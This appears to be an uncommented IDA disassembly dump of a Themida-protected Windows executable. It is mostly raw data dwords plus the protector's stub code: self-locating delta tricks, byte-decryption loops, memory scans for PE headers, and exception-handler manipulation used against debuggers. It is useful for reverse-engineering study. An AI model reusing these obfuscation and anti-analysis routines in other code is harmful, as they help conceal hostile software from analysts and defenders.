		dd 9E80000h, 0FF540000h, 12h, 0
		dd 9A480000h, 0FFFFh, 0
		dd 3040000h, 7FFEh, 5FF10000h, 3EFAFF60h, 0B7EBh, 2 dup(0)
		dd 0A28F0000h, 56h, 230F0000h, 6 dup(0)
		dd 0AC0000h, 0FEF80000h, 5Ah, 8	dup(0)
		dd 90BF0000h, 77F7h, 3 dup(0)
		dd 3A430000h, 4E49575Ch, 53574F44h, 7379535Ch, 336D6574h
		dd 44415C32h, 49504156h, 642E3233h, 6C6Ch, 3Dh dup(0)
		dd 9A040000h, 0FFFFh, 6B3D0000h, 6 dup(0)
		dd 0AE630000h, 4C97h, 2	dup(0)
		dd 10000000h, 40h, 2 dup(0)
		dd 8D8D0000h, 5D8703Ah,	77E8h, 0Ah dup(0)
		dd 780000h, 6 dup(0)
		dd 44140000h, 9	dup(0)
		dd 230000h, 53h, 0
		dd 473C0000h, 1, 0FFFE0000h, 0FFFFh, 0
		dd 4B660000h, 0BC0057h,	0D88F0000h, 0E923h, 0Ch	dup(0)
		dd 15680000h, 0A0h, 2 dup(0)
		dd 190000h, 749B0000h, 5CB5FD93h, 77E7h, 3 dup(0)
		dd 9FA00000h, 0FF54FFFFh, 12h, 2 dup(0)
		dd 7FD80000h, 0A1h, 2 dup(0)
		dd 6B3D0000h, 0Ah dup(0)
		dd 80280000h, 0FF5Eh, 0
		dd 2, 3	dup(0)
		dd 293F0000h, 59h, 27D90000h, 202h, 2BCF0000h, 144Fh, 0A00000h
		dd 0A8A70000h, 518282Ch, 28Bh, 3 dup(0)
		dd 2F870000h, 8601h, 6 dup(0)
		dd 50240000h, 77FCh, 2 dup(0)
		dd 2D8D0000h, 4E8Bh, 3 dup(0)
		dd 4B660000h, 8C0057h, 0
		dd 230000h, 57h, 0
		dd 9C370000h, 9Fh, 93930000h, 215C009Fh, 2, 7 dup(0)
		dd 60E0000h, 0A099005Bh, 77E7h,	4 dup(0)
		dd 0F85D0000h, 5Ah, 0B1680000h,	8B00009Eh, 2 dup(0)
		dd 2E0F0000h, 0FEF877F5h, 5Ah, 2 dup(0)
		dd 40000h, 2 dup(0)
		dd 0B6h, 4 dup(0)
		dd 69DD0000h, 9Fh, 2 dup(0)
		dd 230000h, 57h, 3 dup(0)
		dd 22220000h, 22222222h, 0A28F2222h, 56h, 0
		dd 89900000h, 0FFA5h, 113F0000h, 59h, 3	dup(0)
		dd 90000000h, 3, 0B1CA0000h, 0F77500ADh, 3A43005Ah, 755F6D5Ch
		dd 6361706Eh, 72656Bh, 7Ch dup(0)
		dd 0FFFF0000h, 0B5E216BFh, 705B0000h, 4	dup(0)
		dd 87F20000h, 2	dup(0)
		dd 0CC890000h, 58h, 23h	dup(0)
		dd 459C0000h, 2	dup(0)
		dd 0FFB00000h, 1DFh, 13h dup(0)
		dd 0DBFF0000h, 1766h, 0
		dd 4048h, 2 dup(0)
		dd 2DF50000h, 57h, 78900000h, 0C5Bh, 1B400000h,	76B4h
		dd 0
		dd 1E660000h, 0CDC8CED1h, 58E10056h, 709h, 5Fh dup(0)
		dd 0FFB00000h, 17Fh, 4 dup(0)
		dd 0B6C20000h, 9Fh, 2Ch	dup(0)
		dd 4C3C0000h, 8F31h, 179F0000h,	0FF50h,	0AFDC0000h, 3048803h
		dd 7FFEh, 0
		dd 23B60000h, 56h, 4 dup(0)
		dd 0D20B0000h, 0FFA8h, 3040000h, 7FFEh,	2 dup(0)
		dd 2DF50000h, 57h, 2 dup(0)
		dd 1B10000h, 6B45h, 0
		dd 11110000h, 60601111h, 9F3Dh,	76E00000h, 7DB7h, 4 dup(0)
		dd 3E680000h, 77E8h, 6 dup(0)
		dd 0FFFF0000h, 0FFFFh, 0
		dd 3040000h, 7FFEh, 0Fh	dup(0)
		dd 36630000h, 0A0370058h, 9Fh, 2 dup(0)
		dd 8EA5025Bh, 1097Dh, 3	dup(0)
		dd 0B5410000h, 5Ah, 0Dh	dup(0)
		dd 0C4860000h, 77E7h, 0
		dd 72730000h, 0C5F39354h, 97E6h, 0AEh dup(0)
		dd 389F0000h, 58h, 0
		dd 10000h, 0
		dd 0BE0000h, 4 dup(0)
		dd 30DF0000h, 0E9A9C5h,	4, 3 dup(0)
		dd 1D300000h, 0FFC446E1h, 12h, 5 dup(0)
		dd 0D0710000h, 56h, 5 dup(0)
		dd 60030000h, 0
		dd 0FD080000h, 38A10012h, 22A1h, 0CD770000h, 3A870053h
		dd 5D710056h, 0FFA9h, 0F8CF0000h, 57h, 3040000h, 0A28F7FFEh
		dd 56h,	0
		dd 97030000h, 0FF60h, 0BB600000h, 69DDFFFFh, 9Fh, 0
		dd 10000h, 7 dup(0)
		dd 391E0000h, 0CFA00A0h, 0F9C455A3h, 0FFEDh, 0
aWpjuf		db 'ÝwpJîF',0
		align 4
		dd 2 dup(0)
		dd 7C0000h, 5 dup(0)
		dd 2DF50000h, 36360000h, 3636h,	30DF0000h, 304A9C5h, 7FFEh
		dd 8B000000h, 860000h, 5Ah, 4 dup(0)
		dd 0C0000000h, 4Dh, 4 dup(0)
		dd 0A80000h, 8 dup(0)
		dd 0C96A0000h, 77D4h, 7	dup(0)
		dd 2DF50240h, 6180057h,	77E8h, 0
		dd 69100000h, 57h, 0B4FE0000h, 53h, 0
		dd 0DCDA0000h, 105h, 5 dup(0)
		dd 10000h, 20000h, 2 dup(0)
		dd 8B820000h, 535077E7h, 0CD65h, 0FA70000h, 3 dup(0)
		dd 1B400000h, 76B4h, 10E20000h,	59h, 6 dup(0)
		dd 97FE0000h, 0F889FFFFh, 0FFFFh, 3040000h, 7FFEh, 4 dup(0)
		dd 2D390000h, 4FFBh, 6BC60000h,	0BAF7h,	6 dup(0)
		dd 33510000h, 582Ah, 2 dup(0)
		dd 0C1D80000h, 57h, 2 dup(0)
		dd 777B0000h, 0C76h, 0
		dd 0FABB0000h, 4 dup(0)
		dd 3040000h, 7FFEh, 9Eh, 3A9A0000h, 0FFACh, 0
		dd 8D8D0000h, 1703Ah, 4	dup(0)
		dd 0FFB00000h, 15Fh, 0D20B0000h, 0FFFFh, 2 dup(0)
		dd 23E80000h, 2, 2 dup(0)
		dd 69DD0000h, 9Fh, 0
		dd 0A2600000h, 0BDC10ADBh, 8AD7h, 0Ah dup(0)
		dd 230000h, 57h, 0
		dd 3040000h, 7FFEh, 5 dup(0)
		dd 6B3D0000h, 2	dup(0)
		dd 1CC40000h, 0FEA0h, 2	dup(0)
		dd 68500000h, 0
		dd 0FFFD0000h, 5720025Ah, 59h, 0
		dd 0D8960000h, 2DF50057h, 33330057h, 2 dup(33333333h)
		dd 3333h, 2 dup(0)
		dd 0A8370000h, 77E7h, 3	dup(0)
		dd 8C0A0000h, 9Fh, 6 dup(0)
		dd 20000h, 77E7h, 8 dup(0)
		dd 3040000h, 4 dup(0)
		dd 0FEF80000h, 97EA005Ah, 53h, 12h dup(0)
		dd 9F70000h, 9Fh, 0
		dd 30DF0000h, 0A9C5h, 0FFB00000h, 16Fh,	3A00000h, 7 dup(0)
		dd 86840259h, 57h, 2 dup(0)
		dd 11B00000h, 0A146h, 0
		dd 0E93C0000h, 5Ah, 0EED60000h,	0E42Ch,	0
		dd 2B0000h, 3 dup(0)
		dd 35A00000h, 1FA8h, 28970000h,	3040057h, 7FFEh, 0C9850000h
		dd 0F0CFh, 5 dup(0)
		dd 0F71D0000h, 5 dup(0)
		dd 3040000h, 3 dup(0)
		dd 5B1B0000h, 57h, 80h dup(0)
		dd 215C0000h, 2, 2 dup(0)
		dd 59F00000h, 77DDh, 2 dup(0)
		dd 0FFFF0000h, 0FFFFh, 4 dup(0)
		dd 10000h, 0D24A0000h, 0EF08h, 8 dup(0)
		dd 0F6090000h, 0FF60h, 0
		dd 39CFh, 4 dup(0)
		dd 0FA560000h, 9Fh, 9 dup(0)
		dd 10000000h, 0
		dd 2DF50000h, 57h, 6 dup(0)
aWW		db 'ÔwßÄW',0
		align 4
		dd 3 dup(0)
		dd 4ABF0000h, 4F99h, 0
		dd 0FFFF0000h, 0D7FFFFh, 3 dup(0)
		dd 0CC890000h, 1DE70058h, 0E014A9C0h, 7670000Dh, 5Ah, 0
		dd 0FFFF0000h, 3A87FFFFh, 56h, 220000h,	0
		dd 89330000h, 8818h, 4 dup(0)
		dd 96230000h, 0FF60h, 0
		dd 940000h, 76630000h, 0FFFCh, 2 dup(0)
		dd 3B770000h, 233C56h, 68990057h, 0DAD5h, 4 dup(0)
		dd 99950000h, 0A3h, 0Dh	dup(0)
		dd 70F80000h, 7	dup(0)
		dd 499E0000h, 9E480057h, 77E7h,	2 dup(0)
		dd 0FF540000h, 12h, 0A00F0000h,	9Fh, 4 dup(0)
		dd 0EF770000h, 5ECFh, 8	dup(0)
		dd 0D0210000h, 7CA80056h, 4D718h, 0
		dd 11890000h, 255Ah, 8B820000h,	77E7h, 0
		dd 180B0000h, 77F5h, 0AEBD0000h, 8DE9h,	0
		dd 28Bh, 89200000h, 8248h, 10000h, 6CB80000h, 248h, 10000h
		dd 0A79D0000h, 0FFA5h, 2 dup(0)
		dd 0FFB00000h, 11Fh, 5 dup(0)
		dd 19D60000h, 2	dup(0)
		dd 3040000h, 7FFEh, 6 dup(0)
		dd 46100000h, 1DEh, 2 dup(0)
		dd 94990000h, 9Fh, 0
		dd 510D0000h, 2	dup(0)
		dd 8B610000h, 0FFFFh, 71DC0000h, 0Bh dup(0)
		dd 0A00F0000h, 9Fh, 17h	dup(0)
		dd 0A28F0000h, 56h, 3 dup(0)
		dd 189A0000h, 30477DDh,	7FFEh, 3 dup(0)
		dd 3040000h, 7FFEh, 6 dup(0)
		dd 258h, 6 dup(0)
		dd 3040000h, 7FFEh, 77F5h, 3 dup(0)
		dd 59740000h, 8655h, 2 dup(0)
		dd 0AF400000h, 0AC5EFFFEh, 77E7h, 0A1B90000h, 0F433h, 9	dup(0)
		dd 23E80000h, 0A0h, 9E340000h, 77E7h, 6	dup(0)
		dd 2DF50000h, 57h, 69DD0000h, 598B009Fh, 58h, 2	dup(0)
		dd 0A28F0000h, 56h, 5E2E0000h, 9Fh, 4 dup(0)
		dd 0FCFC0000h, 0FFFFh, 0DE190000h, 0FFFF0058h, 7FFFh, 5	dup(0)
		dd 0FEF80000h, 2005Ah, 0
		dd 3040000h, 58h
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_53C836:				; CODE XREF: start:loc_5394BDj
		mov	eax, ebp
		mov	edx, esp
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 6483383h
		mov	[ebp+6482709h],	edx
		mov	[ebp+64830C5h],	esi
		mov	[ebp+64815B9h],	eax
		cmp	dword ptr [ebp+64813D1h], 0
		jz	short loc_53C86E
		mov	ebp, eax
		mov	esp, edx
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_53C86E:				; CODE XREF: start+5E84Cj
		mov	eax, [esp+40h+var_1C]
		mov	[ebp+6481C4Dh],	eax
		push	45h
		call	sub_53C922
		push	783749Ah
		call	sub_53C968
		push	0A894B25h
		call	sub_53C968
		jmp	loc_53CAAC
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dd 48474645h, 4C4B4A49h, 504F4E4Dh, 54535251h, 58575655h
		dd 5C5B5A59h, 605F5E5Dh, 64636261h, 68676665h, 6C6B6A69h
		dd 706F6E6Dh, 74737271h, 78777675h, 7C7B7A79h, 807F7E7Dh
		dd 84838281h, 88878685h, 8C8B8A89h, 908F8E8Dh, 94939291h
		dd 98979695h, 9C9B9A99h, 0A09F9E9Dh, 0A4A3A2A1h, 0A8A7A6A5h
		dd 0ACABAAA9h, 0B0AFAEADh, 0B4B3B2B1h, 0B8B7B6B5h, 0BCBBBAB9h
		dd 0C0BFBEBDh, 0C3C2C1h, 2 dup(0)
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_53C922	proc near		; CODE XREF: start+5E866p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		pusha
		call	$+5
		pop	edx
		sub	edx, 6483471h
		mov	ebx, edx
		mov	[ebp+var_28], 0


loc_53C93E:				; CODE XREF: sub_53C922+39j
		mov	eax, [ebp+var_28]
		inc	eax
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 80h
		jz	short loc_53C95D
		mov	eax, [ebp+arg_0]
		mov	[ebx+64833DBh],	eax
		inc	[ebp+arg_0]
		inc	ebx
		jmp	short loc_53C93E
; ---------------------------------------------------------------------------


loc_53C95D:				; CODE XREF: sub_53C922+2Aj
		mov	[ebp+var_24], eax
		popa
		mov	eax, [ebp+var_24]
		leave
		retn	4
sub_53C922	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_53C968	proc near		; CODE XREF: start+5E870p start+5E87Ap

var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF7Ch
		pusha
		call	$+5
		pop	edx
		sub	edx, 64834BAh
		lea	eax, [ebp+var_80]
		mov	ebx, [ebp+arg_0]
		mov	[ebp+var_84], 0


loc_53C98E:				; CODE XREF: sub_53C968+41j
		mov	ecx, [ebp+var_84]
		rol	ebx, 1
		mov	[eax], bl
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	[ebp+var_84], 80h
		jnz	short loc_53C98E
		mov	[ebp+var_84], 0
		lea	edi, [edx+64833DBh]
		lea	esi, [ebp+var_80]


loc_53C9BE:				; CODE XREF: sub_53C968+83j
		mov	cl, [esi]
		mov	ebx, 1F4h
		mov	eax, 785437ABh


loc_53C9CA:				; CODE XREF: sub_53C968+69j
		rcl	eax, cl
		mov	cl, [edi]
		rcl	eax, cl
		dec	ebx
		jnz	short loc_53C9CA
		imul	eax, ebx
		inc	edi
		inc	esi
		mov	ecx, [ebp+var_84]
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	ecx, 80h
		jnz	short loc_53C9BE
		popa
		leave
		retn	4
sub_53C968	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		mov	esi, [ebp+8]
		mov	dword ptr [ebp-4], 0
		jmp	short loc_53CA08
; ---------------------------------------------------------------------------


loc_53CA04:				; CODE XREF: Themida_:0053CA0Bj
		inc	dword ptr [ebp-4]
		inc	esi


loc_53CA08:				; CODE XREF: Themida_:0053CA02j
		cmp	byte ptr [esi],	0
		jnz	short loc_53CA04
		mov	edx, 0
		mov	esi, [ebp+8]
		mov	edi, [ebp+0Ch]
		jmp	short loc_53CA99
; ---------------------------------------------------------------------------


loc_53CA1A:				; CODE XREF: Themida_:0053CA9Cj
		mov	dword ptr [ebp-8], 0
		jmp	short loc_53CA90
; ---------------------------------------------------------------------------


loc_53CA23:				; CODE XREF: Themida_:0053CA94j
		mov	dword ptr [ebp-10h], 0
		mov	dword ptr [ebp-0Ch], 0
		jmp	short loc_53CA7D
; ---------------------------------------------------------------------------


loc_53CA33:				; CODE XREF: Themida_:0053CA81j
		shl	dword ptr [ebp-10h], 4
		mov	eax, [ebp-8]
		shl	eax, 1
		add	eax, edx
		add	eax, [ebp-0Ch]
		xor	ebx, ebx
		mov	bl, [eax+esi]
		cmp	bl, 30h
		jb	short loc_53CA55
		cmp	bl, 39h
		ja	short loc_53CA55
		sub	bl, 30h
		jmp	short loc_53CA77
; ---------------------------------------------------------------------------


loc_53CA55:				; CODE XREF: Themida_:0053CA49j
					; Themida_:0053CA4Ej
		cmp	bl, 61h
		jb	short loc_53CA67
		cmp	bl, 66h
		ja	short loc_53CA67
		sub	bl, 61h
		add	bl, 0Ah
		jmp	short loc_53CA77
; ---------------------------------------------------------------------------


loc_53CA67:				; CODE XREF: Themida_:0053CA58j
					; Themida_:0053CA5Dj
		cmp	bl, 41h
		jb	short loc_53CA77
		cmp	bl, 46h
		ja	short loc_53CA77
		sub	bl, 41h
		add	bl, 0Ah


loc_53CA77:				; CODE XREF: Themida_:0053CA53j
					; Themida_:0053CA65j ...
		add	[ebp-10h], ebx
		inc	dword ptr [ebp-0Ch]


loc_53CA7D:				; CODE XREF: Themida_:0053CA31j
		cmp	dword ptr [ebp-0Ch], 2
		jb	short loc_53CA33
		cmp	dword ptr [ebp-10h], 0
		jbe	short loc_53CA8D
		mov	eax, [ebp-10h]
		stosb


loc_53CA8D:				; CODE XREF: Themida_:0053CA87j
		inc	dword ptr [ebp-8]


loc_53CA90:				; CODE XREF: Themida_:0053CA21j
		cmp	dword ptr [ebp-8], 2
		jb	short loc_53CA23
		add	edx, 4


loc_53CA99:				; CODE XREF: Themida_:0053CA18j
		cmp	edx, [ebp-4]
		jb	loc_53CA1A
		mov	al, 0
		stosb
		mov	eax, [ebp-4]
		leave
		retn	8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_53CAAC:				; CODE XREF: start+5E87Fj
		mov	ecx, 7000h
		lea	edi, [ebp+6483600h]


loc_53CAB7:				; CODE XREF: start+5EAA7j
		dec	byte ptr [edi]
		inc	edi
		dec	ecx
		jnz	short loc_53CAB7
		mov	eax, 48692121h
		mov	edx, 0F00DE000h
		sub	edx, 0F0000000h
		lea	eax, [ebp+64836F3h]
		push	eax
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		call	$+5
		pop	eax
		movzx	ebx, ax
		call	sub_53CAF8
		pop	esi
		out	dx, eax
		hlt
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 9
		dd 0D245C6F1h

; =============== S U B	R O U T	I N E =======================================



sub_53CAF8	proc near		; CODE XREF: start+5EAD7p
		pusha
		movzx	ebx, dx
		mov	edi, 3D04BCF8h
		popa
		pop	ebx
		and	ebx, 3CD45B9h
		push	ebx
		jmp	loc_53CB1A
; ---------------------------------------------------------------------------
		db 0CCh
		dd 361ACE01h, 5F6C5A77h
		db 1Ah,	2Dh
; ---------------------------------------------------------------------------


loc_53CB1A:				; CODE XREF: sub_53CAF8+12j
		pop	ebx
		sub	eax, edx
		and	eax, 0FFFFF000h
		cmc
		mov	ecx, edx
		xor	edi, edi


loc_53CB27:				; CODE XREF: sub_53CAF8+4Aj
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_53CB3C
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		cmp	dword ptr [edx], 4550h
		jz	short loc_53CB44


loc_53CB3C:				; CODE XREF: sub_53CAF8+34j
		sub	eax, 1000h
		inc	edi
		jmp	short loc_53CB27
; ---------------------------------------------------------------------------


loc_53CB44:				; CODE XREF: sub_53CAF8+42j
		pop	large dword ptr	fs:0
		add	esp, 4
		lea	edx, [ebp+6483706h]
		push	edx
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		add	eax, ecx
		sub	eax, 1000h
		mov	esi, [eax+4]
		and	esi, 0FFFF0000h
		cmp	esi, 80000000h
		jbe	short loc_53CB7E
		mov	esi, [eax+1Ch]


loc_53CB7E:				; CODE XREF: sub_53CAF8+81j
		xor	eax, eax


loc_53CB80:				; CODE XREF: sub_53CAF8+9Bj
		cmp	eax, 32h
		jz	short loc_53CBA4
		cmp	word ptr [esi],	5A4Dh
		jz	short loc_53CB95


loc_53CB8C:				; CODE XREF: sub_53CAF8+AAj
		sub	esi, 10000h
		inc	eax
		jmp	short loc_53CB80
; ---------------------------------------------------------------------------


loc_53CB95:				; CODE XREF: sub_53CAF8+92j
		mov	edi, [esi+3Ch]
		add	edi, esi
		cmp	dword ptr [edi], 4550h
		jz	short loc_53CBE6
		jmp	short loc_53CB8C
; ---------------------------------------------------------------------------


loc_53CBA4:				; CODE XREF: sub_53CAF8+8Bj
		pop	large dword ptr	fs:0
		add	esp, 4
		popa
		retn
; ---------------------------------------------------------------------------
		dd 244C8B51h, 0B0A98110h, 0
		dd 59000010h, 51C3C033h, 10244C8Bh, 0E855h, 815D0000h
		dd 483711EDh, 0CF858D06h, 89064836h, 0B881h, 33595D00h
		db 0C0h, 0C3h
; ---------------------------------------------------------------------------


loc_53CBE6:				; CODE XREF: sub_53CAF8+A8j
		xchg	eax, esi
		pop	large dword ptr	fs:0
		add	esp, 4
		or	bl, 12h
		push	0
		push	ebp
		call	sub_53CBFF
		and	[ebp-3Dh], bl
sub_53CAF8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_53CBFF	proc near		; CODE XREF: sub_53CAF8+FFp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Bh
		inc	ebp
		push	ebp
		retn
sub_53CBFF	endp

; ---------------------------------------------------------------------------
		db 0Ch
		dd 8B604221h, 0FCF9810Fh, 0FD98C66h, 0B8Ch, 6E900h, 0BDBC0000h
		dd 12C484AFh, 6A04E180h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1C042444h, 41000000h, 57BC351h, 6D8F10EDh
		dd 66C9DB11h, 0ADE4CBBh, 19850FC9h, 80000000h, 85C797CBh
		dd 64830E5h, 1,	32E9F9h, 0C3810000h, 7B2CE98Bh,	30E585C7h
		dd 648h, 6A0000h, 3E851h, 59200000h, 4C8959C3h,	44810424h
		dd 170424h, 51410000h, 1021CAC3h, 0AF78033h, 0ED58589h
		dd 89F90648h, 4829A985h, 13E806h, 0A7600000h, 87AF3642h
		dd 1DCA3B67h, 7BB53DFh,	5AC8A335h, 63E6B847h, 0F85B598Ch
		dd 717EC381h, 0D8810000h, 261ABEA0h, 68h, 0E8BF6600h, 348B5920h
		dd 0F7DA810Bh, 81209965h, 62D326F6h, 2890F4Bh, 8A000000h
		dd 80F681E2h, 8B38F16Bh, 7BF681C2h, 0E9391DC2h,	9, 0EDBE148Dh
		dd 4AB636FBh, 0B34897Ch, 4A329ABFh, 9FB8664Eh, 2E98322h
		dd 0D08B6651h, 0E9494958h, 7, 97CAD5F6h, 816A8C32h, 0FF8F14F9h
		dd 9F850FFFh, 0BFFFFFFFh, 7A8C68DAh, 7DBE9h, 6810F00h
		dd 1000000h, 480D3995h,	21706h,	0E9600000h, 8, 0B21E254Eh
		dd 9814573Bh, 6719EE81h, 60616700h, 0D8501F8h, 2B06482Ch
		dd 548BF9C0h, 0F9602824h, 27DDB58Bh, 89610648h,	48108585h
		dd 840F6006h, 6, 15C58589h, 0BD8B0648h,	6482BF9h, 0CE961h
		dd 9F690000h, 0BAD45E56h, 0AB7E4356h, 3CBE9CCEh, 89000000h
		dd 480CCD8Dh, 24740306h, 78F0F24h, 0F000000h, 187h, 0AD66F900h
		dd 6800Fh, 8D890000h, 64815B5h,	24244403h, 9850Fh, 0F9600000h
		dd 0B6D6DE81h, 5061029Ah, 0EE860h, 87A10000h, 7AB257F9h
		dd 8B2167ADh, 9BFACB3Eh, 14E8h,	2E63DA00h, 74422DC9h, 0FA330B23h
		dd 0ACF63B33h, 8D1ABFE2h, 0BE585BBAh, 288ADF10h, 24048961h
		dd 3D99529h, 408B0648h,	12E96078h, 3B000000h, 8C03D348h
		dd 0A4CA7045h, 75E7CAC5h, 0D23E006Ch, 0B59D89EFh, 61064810h
		dd 28244403h, 0DDBD8B60h, 8A064821h, 8A0F61D0h,	6, 135D9589h
		dd 408B0648h, 858B6018h, 6483071h, 31018D8Bh, 40610648h
		dd 6830Fh, 95310000h, 648155Dh,	178B0Fh, 12E90000h, 9F000000h
		dd 4A9FED1Ah, 2043209Bh, 4992795Bh, 6FEC608h, 0A08589CEh
		dd 0F8064838h, 0DB58B60h, 89064831h, 4800958Dh,	9586106h
		dd 481879B5h, 0F800F06h, 0E9000000h, 0Ah, 5911FB06h, 0B7E403ABh
		dd 708B3890h, 9D896078h, 6480959h, 999589h, 83610648h
		dd 89601CC6h, 482E59B5h, 0F5B58906h, 6106481Bh,	24247403h
		dd 15498589h, 0BD8D0648h, 6481AC1h, 27898D89h, 89AD0648h
		dd 48040DB5h, 24440306h, 0C840F24h, 0F000000h, 686h, 870F00h
		dd 0AB000000h, 0C31B589h, 0BD8D0648h, 64832D9h,	0F19D2960h
		dd 8906480Ah, 480869B5h, 31AD6106h, 4809E195h, 8B666006h
		dd 21B58BDEh, 61064808h, 24244403h, 2BDD9501h, 0BD010648h
		dd 6481791h, 5E950h, 0B8240000h, 8931B65Fh, 9E92404h, 8F000000h
		dd 0C37A5041h, 35A7D9F3h, 0B70F60ABh, 0D5BD01C1h, 61064805h
		dd 6DBD8B60h, 66064810h, 887BD981h, 81BD8D61h, 0FC064808h
		dd 6870FADh, 29000000h,	4832AD9Dh, 24440306h, 2D9D8928h
		dd 0AB064807h, 11E9h, 95F85900h, 5FFC12B3h, 9AED572Ah
		dd 8756B42h, 295E1CA2h,	481B6995h, 0A08DFF06h, 83064838h
		dd 4838A0BDh, 10750006h, 1C2444C7h, 0
		dd 3E00B58Dh, 0E6FF0648h, 4403AD56h, 8B972824h,	0F9858ADFh
		dd 8406480Fh, 3A0474C0h, 574C7507h, 75AEC032h, 0FB2B5EFDh
		dd 0C933FC52h, 33D18B49h, 0ACDB33C0h, 0CD8AC132h, 0D68AEA8Ah
		dd 0D16608B6h, 0D8D166EBh, 35660973h, 81665041h, 0FE5449F3h
		dd 33EB75CEh, 4FD333C8h, 0D2F7D575h, 0C28BD1F7h, 6610C0C1h
		dd 3B5AC18Bh, 5E0F74D0h, 0FF04C683h, 48108585h,	0FF6FE906h
		dd 95EFFFFh, 481C71BDh,	0E98D8906h, 8B06481Eh, 48108585h
		dd 89BD8906h, 0D106480Dh, 8503FCE0h, 6480881h, 0DE9h, 8D0FC700h
		dd 0D81FA2DDh, 0C1E7669Ch, 0BEE409h, 89000000h,	480EF195h
		dd 8A0F9606h, 16h, 0CE860h, 59100000h, 0C53C2A4h, 0E7B61DEBh
		dd 525BB651h, 0AD666159h, 5E9h,	1A80FF00h, 0E0C14468h
		dd 0B5896002h, 64804B5h, 67A1BF66h, 8503FC61h, 6481AC1h
		dd 0EE960h, 55490000h, 7B1D8EE2h, 515947D0h, 86BE5F30h
		dd 15CDBD8Bh, 96610648h, 14758529h, 0F8AD0648h,	24244C8Bh
		dd 0AE9h, 4C171B00h, 31BE10B6h,	345785Bh, 0F242444h, 68Fh
		dd 49853100h, 0F506480Eh, 1C244489h, 13798D89h,	66600648h
		dd 893F9DBBh, 48075985h, 0E9966106h, 10h, 0E90DFACDh, 0B271FFB7h
		dd 56CD6F04h, 436693Ch,	14E9ACh, 0F7020000h, 40253057h
		dd 9C7326D9h, 4529B533h, 0A1C70A4Bh, 0E8606FB5h, 0Bh, 0B731C262h
		dd 8A4EBED7h, 66C8321Bh, 594B92B8h, 9F1958Bh, 32610648h
		dd 9D3160C9h, 6483169h,	10E9h, 0CD8C6B00h, 0E4BDDB25h
		dd 9CEE46F9h, 62A25EBCh, 0C1FE6156h, 0A718589h,	9D890648h
		dd 6482A89h, 830FD0D0h,	0EDh, 11E9h, 9F7ECF00h,	0B50FFF15h
		dd 7723C0EDh, 9D9C85A1h, 8A0F6B82h, 6, 15E5B531h, 0D0D00648h
		dd 0C3830Fh, 800F0000h,	1, 0FD0D0F5h, 0B482h, 6880F00h
		dd 89000000h, 480D8995h, 0FD0D006h, 0A082h, 85016000h
		dd 648325Dh, 10840Fh, 0BE90000h, 74000000h, 0F727BC7h
		dd 9527608Eh, 2961E358h, 483089B5h, 0FC9FE06h, 0FFFF7F89h
		dd 0D830FFFh, 60000000h, 29059D23h, 0A4BA0648h,	616C13C0h
		dd 0E920C483h, 10h, 0B29D4C14h,	0DEAD7B38h, 33337277h
		dd 0EF773182h, 501BD89h, 44C70648h, 0FC24h, 95890000h
		dd 6482359h, 9399D89h, 1B80648h, 29000000h, 4822E185h
		dd 868D8D06h, 60064872h, 294D952Bh, 0BD010648h,	64829BDh
		dd 0E1FFF961h, 141D9D89h, 8B0F0648h, 1,	0F985C6F5h, 6480Fh
		dd 0FE961F5h, 84000000h, 72D06081h, 0E138F886h,	0EDC6C929h
		dd 8C2BE93h, 69950900h,	96064833h, 13E95250h, 92000000h
		dd 0EE7599D8h, 645A7F51h, 0EDE3E1F2h, 7854EECEh, 310F7594h
		dd 6810Fh, 8A0F0000h, 0
		dd 6050585Ah, 0CE8h, 0CAD02800h, 0B9D4704h, 39FE03E5h
		dd 6E806h, 0F1920000h, 0DEE6C739h, 66605F5Ah, 0C18BFB8Bh
		dd 60966161h, 8F59D8Bh,	85890648h, 6481EEDh, 15B58961h
		dd 89064840h, 480D05B5h, 4C8D8906h, 0F064840h, 684h, 0B5953100h
		dd 89064804h, 480B91B5h, 11B58D06h, 2906483Fh, 4821C18Dh
		dd 35858D06h, 0F005B7Eh, 0C85h,	68A0F00h, 29000000h, 48288DBDh
		dd 0DE906h, 61650000h, 0FE23B902h, 509D0A59h, 0FFE23AA6h
		dd 699D89D0h, 5E06481Ah, 13CD8D89h, 8D290648h, 6481055h
		dd 14E9C3h, 0A8CC0000h,	0FB333A91h, 7E7C64CCh, 0D5C7BE2Eh
		dd 0A560DCE1h, 0B58B8822h, 6484015h, 7E9h, 88522F00h, 6D85E878h
		dd 4C8D8BFCh, 89064840h, 48119D85h, 60C02B06h, 6E59D89h
		dd 8B610648h, 858589D9h, 0E9064822h, 0B8h, 9E9h, 3C924A00h
		dd 73E2D805h, 2632C618h, 1820Fh, 0B2F50000h, 71858902h
		dd 0E9064813h, 63h, 60C232FCh, 2EBD9589h, 0CCBE0648h, 614C2B35h
		dd 751D7A05h, 0D995898Ah, 89064828h, 4809E59Dh,	0FCC8A06h
		dd 68Eh, 0A1B58900h, 0D3064828h, 4235FCC8h, 0F98D108h
		dd 682h, 0C19D8900h, 0FE06480Ah, 7E960CAh, 77000000h, 88B74C46h
